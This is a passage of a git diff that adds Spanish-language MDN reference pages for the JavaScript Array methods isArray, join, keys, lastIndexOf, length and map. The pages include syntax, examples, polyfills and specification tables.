+<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto a evaluar.</dd>
+</dl>
+
+<h3 id="Description" name="Description">Valor de retorno</h3>
+
+<p><code>true</code> si el objeto es un {{jsxref("Array")}}; en caso contrario, <code>false</code>.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Si el objeto es un {{jsxref("Array")}}, devuelve <code>true</code>; <code>false</code>, en cualquier otro caso.</p>
+
+<p>Vea el artículo <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a> para más detalles.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: js">// las siguientes llamadas devuelven true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+Array.isArray(new Array('a', 'b', 'c', 'd'));
+Array.isArray(new Array(3));
+// Hecho poco conocido: Array.prototype es también un array:
+Array.isArray(Array.prototype);
+
+// todas las siguientes llamadas devuelven false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray('Array');
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray({ __proto__: Array.prototype });
+</pre>
+
+<h3 id="instanceof_vs_isArray"><code>instanceof</code> vs <code>isArray</code></h3>
+
+<p>Al comprobar una instancia <code>Array</code>, <code>Array.isArray</code> es más recomendado que <code>instanceof</code> porque funciona a través de <code>iframes</code>.</p>
+
+<pre class="brush: js">var iframe = document.createElement('iframe');
+document.body.appendChild(iframe);
+xArray = window.frames[window.frames.length - 1].Array;
+var arr = new xArray(1,2,3); // [1,2,3]
+
+// Comprobando correctamente un Array
+Array.isArray(arr);  // true
+// Considerado peligroso, porque no funciona a través de iframes
+arr instanceof Array; // false
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p>Ejecutar el siguiente código antes de cualquier otro código creará un <code>Array.isArray()</code> si no está disponible de forma nativa.</p>
+
+<pre class="brush: js">if (!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}
+</pre>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.isArray")}}</div>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/join/index.html b/files/es/web/javascript/referencia/objetos_globales/array/join/index.html
new file mode 100644
index 0000000000..ea9ba3e544
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/join/index.html
@@ -0,0 +1,110 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/join
+tags:
+  - Array
+  - JavaScript
+  - Matriz
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>join()</code></strong> une todos los elementos de una matriz (o un <a href="/es/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">objeto similar a una matriz</a>) en una cadena y devuelve esta cadena.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-join.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr.join([separator])</var></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>separador</code> {{optional_inline}}</dt>
+ <dd>Es una <code>cadena</code> usada para separar cada uno de los elementos del arreglo. El separador es convertido a una <code>cadena</code> si es necesario. Si este se omite, los elementos del arreglo son separados con una coma (","). Si el <code>separador</code> es una <code>cadena</code> vacía todos los elementos son unidos sin ningún carácter entre ellos.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una cadena con todos los elementos de la matriz unidos. Si <code><em>arr</em>.length</code> es <code>0</code>, se devuelve la cadena vacía.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las conversiones de cadena de todos los elementos de la matriz se unen en una cadena.</p>
+
+<div class="warning">
+<p>Si un elemento <code>no está definido</code> o es <code>nulo</code>, se convierte en la cadena vacía.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uniendo_un_arreglo_cuatro_veces_en_diferentes_formas">Uniendo un arreglo cuatro veces en diferentes formas</h3>
+
+<p>El siguiente ejemplo crea un arreglo <code>a</code> con tres elementos para luego unir el arreglo cuatro veces: usando el separador predeterminado, luego una coma y un espacio, luego un signo de suma, y finalmente una cadena vacío.</p>
+
+<pre class="brush: js">var a = ['Viento', 'Lluvia', 'Fuego'];
+var miVar1 = a.join();      // asigna 'Viento,Lluvia,Fuego' a miVar1
+var miVar2 = a.join(', ');  // asigna 'Viento, Lluvia, Fuego' a miVar2
+var miVar3 = a.join(' + '); // asigna 'Viento + Lluvia + Fuego' a miVar3
+var miVar4 = a.join('');    // asigna 'VientoLluviaFuego' a miVar4
+</pre>
+
+<h3 id="Unirse_a_un_objeto_tipo_matriz">Unirse a un objeto tipo matriz</h3>
+
+<p>El siguiente ejemplo une un objeto parecido a una matriz (<code><a href="/es/docs/Web/JavaScript/Reference/Functions/arguments">argumentos</a></code>), llamando a {{jsxref("Function.prototype.call")}} en <code>Array.prototype.join</code>.</p>
+
+<pre class="brush: js">function f(a, b, c) {
+  var s = Array.prototype.join.call(arguments);
+  console.log(s); // '1,a,true'
+}
+f(1, 'a', true);
+//resultado esperado: "1,a,true"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition</td>
+   <td>Estándar</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.join")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/keys/index.html b/files/es/web/javascript/referencia/objetos_globales/array/keys/index.html
new file mode 100644
index 0000000000..ff7cb593f5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/keys/index.html
@@ -0,0 +1,84 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/keys
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Matriz
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>keys()</strong></code> devuelve un nuevo objeto  <code><strong>Array Iterator</strong></code> que contiene las claves de índice con las que acceder a cada elemento en el array.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-keys.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.keys()</pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un nuevo objeto iterador {{jsxref("Array")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_básico">Uso básico</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+var iterator = arr.keys();
+
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="El_iterador_no_ignora_los_huecos">El iterador no ignora los huecos</h3>
+
+<pre class="brush: js">var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // ['0', '2']
+console.log(denseKeys);  // [0, 1, 2]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.keys")}}</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Iteration_protocols">Protocolos de iteración</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/lastindexof/index.html b/files/es/web/javascript/referencia/objetos_globales/array/lastindexof/index.html
new file mode 100644
index 0000000000..19667a54af
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/lastindexof/index.html
@@ -0,0 +1,164 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/lastIndexOf
+tags:
+  - Array
+  - Arreglo
+  - ECMAScript 5
+  - JavaScript
+  - Matriz
+  - Prototipo
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>lastIndexOf()</strong></code> devuelve el último índice en el que un cierto elemento puede encontrarse en el arreglo, ó <code>-1</code> si el elemento no se encontrara. El arreglo es recorrido en sentido contrario, empezando por el índice <code>fromIndex</code>.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr.lastIndexOf(searchElement) arr.lastIndexOf(searchElement, fromIndex)</var></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Elemento a encontrar en el arreglo.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>El índice en el que empieza la búsqueda en sentido contrario. Por defecto la longitud del arreglo menos uno (<code>arr.length - 1</code>), es decir, todo el arreglo será recorrido. Si el índice es mayor o igual que la longitud del arreglo, todo el arreglo será recorrido. Si es un valor negatigo, se usará como inicio del desplazamiento el final del arreglo. Darse cuenta que aún cuando el índice es negativo, el arreglo todavía será recorrido desde atrás hacia delante. Si el índice calculado es menor de <code>0</code>, se devolverá <code>-1</code>, es decir, el arreglo no será recorrido.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El último índice del elemento en el arreglo; <code>-1</code> si no se encuentra.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>lastIndexOf</code> compara <code>searchElement</code> con los elementos del arreglo usando <a href="/es/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">igualdad estricta</a> (el mismo método es usado para la ===, operador triple igualdad).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_lastIndexOf">Usando <code>lastIndexOf</code></h3>
+
+<p>El siguiente ejemplo usa <code>lastIndexOf</code> para encontrar valores en un arreglo.</p>
+
+<pre class="brush: js">var array = [2, 5, 9, 2];
+array.lastIndexOf(2);     // 3
+array.lastIndexOf(7);     // -1
+array.lastIndexOf(2, 3);  // 3
+array.lastIndexOf(2, 2);  // 0
+array.lastIndexOf(2, -2); // 0
+array.lastIndexOf(2, -1); // 3
+</pre>
+
+<h3 id="Encontrar_todas_las_apariciones_de_un_elemento">Encontrar todas las apariciones de un elemento</h3>
+
+<p>El siguiente ejemplo uses <code>lastIndexOf</code> encuentra todos los índices de un elemento en un arreglo dado, usando {{jsxref("Array.prototype.push", "push")}} añadiéndolos a otro arreglo como elementos encontrados.</p>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.lastIndexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = (idx &gt; 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]
+</pre>
+
+<p>Darse cuenta que en este caso tenemos que tratar <code>idx == 0</code>  de forma separada por que el elemento siempre será encontrado independiemente del valor del parámetro <code>fromIndex</code>  si este es el primer elemento del arreglo. Diferente de como se trata en el método {{jsxref("Array.prototype.indexOf", "indexOf")}}.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>lastIndexOf</code> fue añadido al estándar ECMA-262 en la 5ª edición; por tanto puede que no este presente en otras implementaciones del estándar. Puedes solucionarlo escribiendo el siguiente código al principio de tus scripts, pudiendo usar <code>lastIndexOf</code> en implementaciones que no tiene soporte de forma nativa. Este algoritmo es exactamente el especificado en ECMA-262, 5ª edición, suponiendo que {{jsxref("Object")}}, {{jsxref("TypeError")}}, {{jsxref("Number")}}, {{jsxref("Math.floor")}}, {{jsxref("Math.abs")}}, y {{jsxref("Math.min")}} tienen sus valores originales.</p>
+
+<pre class="brush: js">// Pasos de producción de ECMA-262, Edición 5, 15.4.4.15
+// Referencia: http://es5.github.io/#x15.4.4.15
+if (!Array.prototype.lastIndexOf) {
+  Array.prototype.lastIndexOf = function(searchElement /*, fromIndex*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var n, k,
+      t = Object(this),
+      len = t.length &gt;&gt;&gt; 0;
+    if (len === 0) {
+      return -1;
+    }
+
+    n = len - 1;
+    if (arguments.length &gt; 1) {
+      n = Number(arguments[1]);
+      if (n != n) {
+        n = 0;
+      }
+      else if (n != 0 &amp;&amp; n != (1 / 0) &amp;&amp; n != -(1 / 0)) {
+        n = (n &gt; 0 || -1) * Math.floor(Math.abs(n));
+      }
+    }
+
+    for (k = n &gt;= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k &gt;= 0; k--) {
+      if (k in t &amp;&amp; t[k] === searchElement) {
+        return k;
+      }
+    }
+    return -1;
+  };
+}
+</pre>
+
+<p>De nuevo, darse cuenta que esta implementación tiene como objeto la completa compatibilidad con <code>lastIndexOf</code> en Firefox y el motor SpiderMonkey JavaScript, en particular en varios casos que son posiblemente extremos. Si pretendes usar esta funcionalidad en aplicaciones reales, es posible que puedes calcular <code>from</code> con código menos complejo si ignoras estos casos.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.15', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.lastIndexOf")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>Desde Firefox 47 {{geckoRelease(47)}},  el método ya no devolverá <code>-0</code>. Por ejemplo, <code>[0].lastIndexOf(0, -0)</code> siempre devolverá <code>+0</code> ({{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/length/index.html b/files/es/web/javascript/referencia/objetos_globales/array/length/index.html
new file mode 100644
index 0000000000..cbbb1a46db
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/length/index.html
@@ -0,0 +1,143 @@
+---
+title: Array.prototype.length
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/length
+tags:
+  - Array
+  - JavaScript
+  - Propiedad
+  - Referencia
+  - Vector
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>length</strong></code> de un objeto que es una instancia de tipo Array establece o devuelve la cantidad de elementos en esa matriz. El valor es un entero sin signo de 32 bits que siempre es numéricamente mayor que el índice más alto en la matriz.</p>
+
+<div>
+<p>{{EmbedInteractiveExample("pages/js/array-length.html")}}</p>
+</div>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>El valor de la propiedad <code>length</code> es un número entero con un signo positivo y un valor menor que 2 a la 32<sup>a</sup> potencia (2<sup>32</sup>).</p>
+
+<pre class="brush: js">var namelistA = new Array(4294967296); //2 a la 32a potencia = 4294967296
+var namelistC = new Array(-100) //signo negativo
+
+console.log(namelistA.length); //RangeError: longitud de la matriz inválida
+console.log(namelistC.length); //RangeError: longitud de la matriz inválida
+
+
+
+var namelistB = [];
+namelistB.length = Math.pow(2,32)-1; //establecer una longitud de la matriz menor que 2 a la 32ª potencia
+console.log(namelistB.length);
+
+//4294967295</pre>
+
+<p>Puedes establecer la propiedad <code>length</code> para truncar una matriz unidimensional en cualquier momento. Cuando extiende una matriz cambiando su propiedad <code>length</code>, el número de elementos reales aumenta; por ejemplo, si se establece <code>length</code> en 3 cuando actualmente es 2, la matriz ahora contiene 3 elementos, lo que hace que el tercer elemento sea <code>undefined</code>.</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+printEntries(arr);
+
+arr.length = 5; // establecer la longitud de la matriz en 5 mientras que actualmente es 3.
+printEntries(arr);
+
+function printEntries(arr) {
+  var length = arr.length;
+  for (var i = 0; i &lt; length; i++) {
+    console.log(arr[i]);
+  }
+  console.log('=== printed ===');
+}
+
+// 1
+// 2
+// 3
+// === impreso ===
+// 1
+// 2
+// 3
+// undefined
+// undefined
+// === impreso ===</pre>
+
+<p>Pero, la propiedad <code>length</code> no necesariamente indica el número de valores definidos en la matriz. Ver también <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Array#Relationship_between_length_and_numerical_properties" title="Relationship between length and numerical properties">Relación entre <code>length</code> y las propiedades numéricas</a>.</p>
+
+<p>{{js_property_attributes(1, 0, 0)}}</p>
+
+<ul>
+ <li><code>Sobrescribir</code>: si este atributo se establece en <code>false</code>, el valor de la propiedad no se puede cambiar.</li>
+ <li><code>Configurable</code>: si este atributo se establece en <code>false</code>, cualquier intento de eliminar la propiedad o cambiar sus atributos (<code>Sobrescribir</code>, <code>Configurable </code>o <code>Numerable</code>) fallará.</li>
+ <li><code>Numerable</code>: si este atributo se establece en <code>true</code>, la propiedad se repetirá durante los bucles <a href="/es/docs/Web/JavaScript/Reference/Statements/for">for</a> o <a href="/es/docs/Web/JavaScript/Reference/Statements/for...in">for..in</a>.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Iterating_over_an_array" name="Example:_Iterating_over_an_array">Iterando sobre una matriz</h3>
+
+<p>En el siguiente ejemplo, la matriz <code>numbers</code> se itera a través de la propiedad <code>length</code>. El valor en cada elemento se duplica.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 4, 5];
+var length = numbers.length;
+for (var i = 0; i &lt; length; i++) {
+  numbers[i] *= 2;
+}
+// numbers ahora es [2, 4, 6, 8, 10]</pre>
+
+<h3 id="Example:_Shortening_an_array" name="Example:_Shortening_an_array">Acortando una matriz</h3>
+
+<p>El siguiente ejemplo acorta los <code>numbers</code> de la matriz a una longitud de <code>3</code> si la longitud actual es mayor que <code>3</code>.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 4, 5];
+
+if (numbers.length &gt; 3) {
+  numbers.length = 3;
+}
+
+console.log(numbers); // [1, 2, 3]
+console.log(numbers.length); // 3</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1ra Edición.</td>
+   <td>Estándar</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.length")}}</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/map/index.html b/files/es/web/javascript/referencia/objetos_globales/array/map/index.html
new file mode 100644
index 0000000000..8b958a4945
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/map/index.html
@@ -0,0 +1,360 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/map
+tags:
+  - Array
+  - Arreglo
+  - Callback
+  - ECMAScript5
+  - Polifill
+  - Prototype
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>map()</strong></code> crea un nuevo array con los resultados de la llamada a la función indicada aplicados a cada uno de sus elementos.</p>
+
+<pre class="brush: js">var numbers = [1, 5, 10, 15];
+var doubles = numbers.map(function(x) {
+   return x * 2;
+});
+// doubles is now [2, 10, 20, 30]
+// numbers is still [1, 5, 10, 15]
+
+var numbers = [1, 4, 9];
+var roots = numbers.map(function(num) {
+    return Math.sqrt(num);
+});
+// roots is now [1, 2, 3]
+// numbers is still [1, 4, 9]
+</pre>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>var nuevo_array = arr</var>.map(function <var>callback(currentValue, index, array) {
+    // Elemento devuelto de nuevo_array
+}</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función que producirá un elemento del nuevo array, recibe tres argumentos:</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>El elemento actual del array que se está procesando.</dd>
+  <dt><code>index</code></dt>
+  <dd>El índice del elemento actual dentro del array.</dd>
+  <dt><code>array</code></dt>
+  <dd>El array sobre el que se llama <code>map.</code></dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Opcional. Valor a usar como <code>this </code>al ejecutar <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p><code>map</code> llama a la función <code>callback</code> provista <strong>una vez por elemento</strong> de un array, en orden, y construye un nuevo array con los resultados. <code>callback</code> se invoca sólo para los índices del array que tienen valores asignados; no se invoca en los índices que han sido borrados o a los que no se ha asignado valor.</p>
+
+<p><code>callback</code> es llamada con tres argumentos: el valor del elemento, el índice del elemento, y el objeto array que se está recorriendo.</p>
+
+<p>Si se indica un parámetro <code>thisArg</code> a un <code>map</code>, se usará como valor de <code>this</code> en la función <code>callback</code>. En otro caso, se pasará {{jsxref("Global_Objects/undefined", "undefined")}} como su valor <code>this</code>. El valor de <code>this</code> observable por el <code>callback</code> se determina de acuerdo a las <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">reglas habituales para determinar el valor this visto por una función.</a></p>
+
+<p><code>map</code> no modifica el array original en el que es llamado (aunque <code>callback</code>, si es llamada, puede modificarlo).</p>
+
+<p>El rango de elementos procesado por <code>map</code> es establecido antes de la primera invocación del <code>callback</code>. Los elementos que sean agregados al array después de que la llamada a <code>map </code>comience no serán visitados por el <code>callback</code>. Si los elementos existentes del array son modificados o eliminados, su valor pasado al <code>callback</code> será el valor en el momento que el <code>map</code> lo visita; los elementos que son eliminados no son visitados.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example_Mapping_an_array_of_numbers_to_an_array_of_square_roots" name="Example:_Mapping_an_array_of_numbers_to_an_array_of_square_roots">Procesar un array de números aplicándoles la raíz cuadrada</h3>
+
+<p>El siguiente código itera sobre un array de números, aplicándoles la raíz cuadrada a cada uno de sus elementos, produciendo un nuevo array a partir del inicial.</p>
+
+<pre class="brush: js">var numeros= [1, 4, 9];
+var raices = numeros.map(Math.sqrt);
+// raices tiene [1, 2, 3]
+// numeros aún mantiene [1, 4, 9]
+</pre>
+
+<h3 id="Example_Mapping_an_array_of_numbers_to_an_array_of_square_roots" name="Example:_Mapping_an_array_of_numbers_to_an_array_of_square_roots">Usando map para dar un nuevo formato a los objetos de un array</h3>
+
+<p>El siguiente código toma un array de objetos y crea un nuevo array que contiene los nuevos objetos formateados.</p>
+
+<pre class="brush: js">var kvArray = [{clave:1, valor:10},
+               {clave:2, valor:20},
+               {clave:3, valor: 30}];
+
+var reformattedArray = kvArray.map(function(obj){
+   var rObj = {};
+   rObj[obj.clave] = obj.valor;
+   return rObj;
+});
+
+// reformattedArray es ahora [{1:10}, {2:20}, {3:30}],
+
+// kvArray sigue siendo:
+// [{clave:1, valor:10},
+//  {clave:2, valor:20},
+//  {clave:3, valor: 30}]
+</pre>
+
+<h3 id="Example_Mapping_an_array_of_numbers_using_a_function_containing_an_argument" name="Example:_Mapping_an_array_of_numbers_using_a_function_containing_an_argument">Mapear un array de números usando una función con un argumento</h3>
+
+<p>El siguiente código muestra cómo trabaja <code>map </code>cuando se utiliza una función que requiere de un argumento. El argumento será asignado automáticamente a cada elemento del arreglo conforme <code>map </code>itera el arreglo original.</p>
+
+<pre class="brush: js">var numeros = [1, 4, 9];
+var dobles  = numeros.map(function(num) {
+  return num * 2;
+});
+
+// dobles es ahora [2, 8, 18]
+// numeros sigue siendo [1, 4, 9]
+</pre>
+
+<h3 id="Example_using_map_generically" name="Example:_using_map_generically">Usando <code>map</code> de forma genérica</h3>
+
+<p>Este ejemplo muestra como usar <code>map </code>en {{jsxref("Global_Objects/String", "String")}} para obtener un arreglo de bytes en codifcación ASCII representando el valor de los caracteres:</p>
+
+<pre class="brush: js">var map = Array.prototype.map;
+var valores = map.call('Hello World', function(char) { return char.charCodeAt(0); });
+// valores ahora tiene [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+</pre>
+
+<h3 id="Example_using_map_generically_querySelectorAll" name="Example:_using_map_generically_querySelectorAll">Usando <code>map</code> genérico con <code>querySelectorAll</code></h3>
+
